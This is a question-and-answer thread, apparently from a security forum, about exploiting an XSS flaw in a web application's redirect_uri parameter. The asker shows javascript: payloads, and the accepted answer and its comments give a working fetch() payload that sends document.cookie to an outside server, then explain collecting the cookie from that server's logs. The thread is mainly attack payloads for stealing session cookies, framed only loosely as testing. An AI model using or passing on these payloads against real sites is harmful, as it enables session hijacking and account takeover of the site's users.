Exploit: Send cookie to another server from url

Question

I'm testing a web application and found that url contains "redirect=" where it navigates to new location once logged in.

http://IPAddress/?redirect_uri=test

I'm trying to exploit the cookie using redirect_uri as the HTTPOnly & Secure flags are not set.

I've trying different payloads and successfully exploited using following payload

http://IPAddress/?redirect_uri=javascript:alert(document.cookie)

Now i want to transfer the payload to another malicious server, for that I've tried following payloads, but nothing works.

http://IPAddress/?redirect_uri=javascript:document.location.href="http://maliciousserver.com/anyfile.php?cookie=" + document.cookie

The above payload not even send request to the malicious server, whereas the HTTP request was received for the following payload

http://IPAddress/?redirect_uri=javascript:document.location.href="http://maliciousserver.com/anyfile.php?cookie="

Could some one help me to transfer the cookie using redirect_uri=javascript: payload to another server?

P.S - <script> </script> tags are not executed as the x-xss-protection header is enabled.

EdOverflow · Accepted Answer · 2018-12-16 15:24:37Z

1

The simplest way would be to use the fetch() method.

?redirect_uri=javascript:fetch("https://example.com/"+document.cookie)

answered Dec 16, 2018 at 15:24

EdOverflow

1,33612 silver badges21 bronze badges

Fetch method doesn't worked out and redirection doesn't work with open & close brackets. javascript:fetch="https://example.com/" executes and displayed it in the page itself but not redirected to target page. I can't pass document.cookie to target page.
– vallikkv
Commented Dec 16, 2018 at 15:54
The fetch method is not supposed to redirect to the endpoint, but rather send an HTTP request to your server with the cookie. Then you can extract the cookie from your logs. If you replace https://example.com/ in output.jsbin.com/zugeruvige?xss=javascript:fetch("https://… with your host, you should see the document's cookie in your logs.
– EdOverflow
Commented Dec 16, 2018 at 16:28

Add a comment |

1 Answer 1